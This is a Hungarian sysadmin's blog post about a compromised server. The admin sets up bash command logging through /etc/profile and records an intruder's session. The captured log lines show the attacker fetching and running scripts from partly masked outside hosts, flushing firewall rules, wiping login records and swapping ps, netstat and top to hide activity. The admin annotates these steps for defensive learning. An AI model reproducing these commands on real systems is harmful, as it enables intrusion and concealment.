bash naplózása és egy hacker megfigyelése
A történet ott kezdődött, hogy az egyik szerveren lévő shell user jelszava valamilyen oknál fogva illetetéktelenek kezébe került. Ráadásul ennek a felhasználónak az adott szerver sudo jogais volt. Egy magára valamit is adó szerverüzemeltető legelső dolga az azonnali adatmentés és a szerver újratelepítése, kizárva minden esélyt arra, hogy a hackerek backdoort hagyva maguk után bármikor visszajárjanak a gépre. A második dolog pedig a biztonsági szint növelése mind a felhasználók részéről, mind a szervert érintve.
Nos, én nem így cselekedtem, kiváncsi voltam, hogy mikor jön vissza, mit fog és mit akar csinálni. Mivel nem vagyok biorobot, így a nap 24 órájában sem volt lehetőségem a gép előtt ülni, bámulva az ssh konzolt és a logokat, hogy történik-e valami. Kellett egy olyan eszköz, ami naplózza a bash tevékenységeket. Létezik linux alatt a snoopy nevű program, ami telepítés után aktivizálja magát és minden fájlműveletet az auth.log-ba bele is paszíroz. Ember legyen a talpán, aki ezt képes végignézni, főleg úgy, hogy mindenféle monitorozó dolgok futnak, percenként így akár több ezer fileműveletről is beszélhetünk.
Hosszas keresgélés, nyomozgatás után találtam egy megoldást, aminek előfeltétele a Bash 4-es verziója.
Az /etc/profile fáljba a következőt kell beletenni:
function log2syslog
{
declare command
command=$(fc -ln -0)
logger -p local1.notice -t bash -i - "$USER : $command"
}
trap log2syslog DEBUG
Ezzel minden egyes konzolban kiadott parancs naplózásra kerül a /var/log/auth.log fájlba, valahogy így:
Mar 1 23:29:53 testdev bash[23013]: - root : ls -a
Így most már, ha nem is vagyok a gép előtt, látom, hogy milyen parancsokat adott ki kedves "barátunk".
Kb. fél nap várakozás után egyszer csak megjelent a logban a tevékenysége. Furcsa mód viszont kapcsolódásra, authentikálásra való nyomot nem találtam, így sürgősen ki kellett derítenem, hogy ezt hogy oldotta meg.
Meg is találtam a megoldást, nagyon szépen elrejtve mindenki szeme elől: a legelső alkalommal, ahogy azt sejteni lehetett egy saját ssh daemont indított el ugyanúgy a 22-es portra bindolva, az eredetit pedig kilőtte. Az aktív kapcsolatok ettől természetesen nem szakadnak meg, így fel se tűnik senkinek sem. Egy ps scriptel - amit az /usr/sbin könyvtárba másolt - pedig szépen elrejtette a szemem elől ezt a ssh-t úgy, hogy mintha az eredeti futna az /usr/sbin/ könyvtárban.
A másik gyanús jel a "w" parancs kiadása volt, mivel nem mutatott minden aktív kapcsolatot. Én kb 3 aktív kapcsolattal is rendelkeztem ssh-n keresztül, mégis csak egy loginolt usert adott vissza a parancs.
Most, hogy már felderítettem az álcáját, elkezdődött a megfigyelés:
Mar 1 23:29:52 testdev bash[23005]: - root : cat .bash_history |grep ssh - Megnézte, hogy hova ssh-zgattam (azt persze nem tudta, hogy időközben minden más szerveren kulcs alapú authentikáció lett beállítva, valamint módosítva lett a default port 22-ről másra)
Mar 1 23:31:32 testdev bash[23383]: - root : /sbin/ifconfig |grep inet
Mar 1 23:31:36 testdev bash[23406]: - root : iptables -L
Mar 1 23:31:43 testdev bash[23429]: - root : mkdir .gem - Ide fogja pakolni a kis dolgait. Egy átlag felhasználó itt sosem keresné
Mar 1 23:31:44 testdev bash[23433]: - root : cd .gem
Mar 1 23:31:53 testdev bash[23462]: - root : wget sxxxxx-uk.com/fw.stop - elkezdi szépen áttölteni a kis scriptjeit másik szerverről
Mar 1 23:31:54 testdev bash[23476]: - root : chmod +x fw.stop
Mar 1 23:31:55 testdev bash[23498]: - root : ./fw.stop - Elindítja (kitörli az összes tűzfalszabályt)
Mar 1 23:32:03 testdev bash[23543]: - root : rm -rf fw* - Majd eltünteti a nyomokat
Mar 1 23:32:49 testdev bash[23645]: - root : wget sxxxxx-uk.com/smart.tgz - Jöhet a többi cucc (szép kis script gyűjtemény)
Mar 1 23:35:39 testdev bash[24231]: - root : wget dxxxxm.hu/clean - Húha, van még egy másik magyar áldozat is. Ez egy logcleaner, kitörli a lastlogból, wtmp-ből az adatokat (emiatt nem volt nyomva a kapcsolódásnak és hogy mikor honnan lépett be)
Mar 1 23:35:45 testdev bash[24260]: - root : ./clean -u <username> -n 1
Mar 1 23:39:02 testdev bash[29893]: - root : ./do gigi - Ezután elindult a meló, ami nem állt másból, minthogy a gépet használták fel arra, hogy más gépeket törjenek vele. Egy folyamatosan bővülő txt fileból olvasta be az IP-t, hostot, usert.
Mar 1 23:40:14 testdev bash[30227]: - root : ssh [email protected] - Ha már bent volt, megpróbált VPN-n keresztűl máshova is belépni, ekkorra már sikertelenül
Mar 1 23:40:32 testdev bash[30276]: - root : ssh [email protected]
Mar 1 23:42:46 testdev bash[30675]: - root : wget sxxxxx-uk.com/dream.tgz - Ez a script végezte a bing kereső segítségével az IP-hez tartozó hostok "kinyerését"
Mar 1 23:50:13 testdev bash[14115]: - root : mv /bin/ps /bin/ps" " - Ideje lecserélni az eredeti ps-t
Mar 1 23:52:29 testdev bash[11428]: - root : mv /bin/netstat /bin/netstat" " - Nehogy lássuk a nyitott portokat
Mar 1 23:54:09 testdev bash[20704]: - root : mv /usr/bin/top /usr/bin/top" " - Az összes futó processzeket se jó látni
Ezután a scripteket szépen betették screenbe, hogy ott fussanak, majd kiléptek.
Ezután döntöttem úgy, hogy véget vetek a dolognak, kilőttem a futó processzeket, majd a szükséges csomagokat újratelepítettem, valamint beállítottam, hogy csak ssh kulccsal lehessen belépni. Minden fáljt szépen megőrizve/backupolva újratelepítettem a gépet.
Természetesen most már csak kizárólag ssh-kulcs alapú authentikációt elfogadva.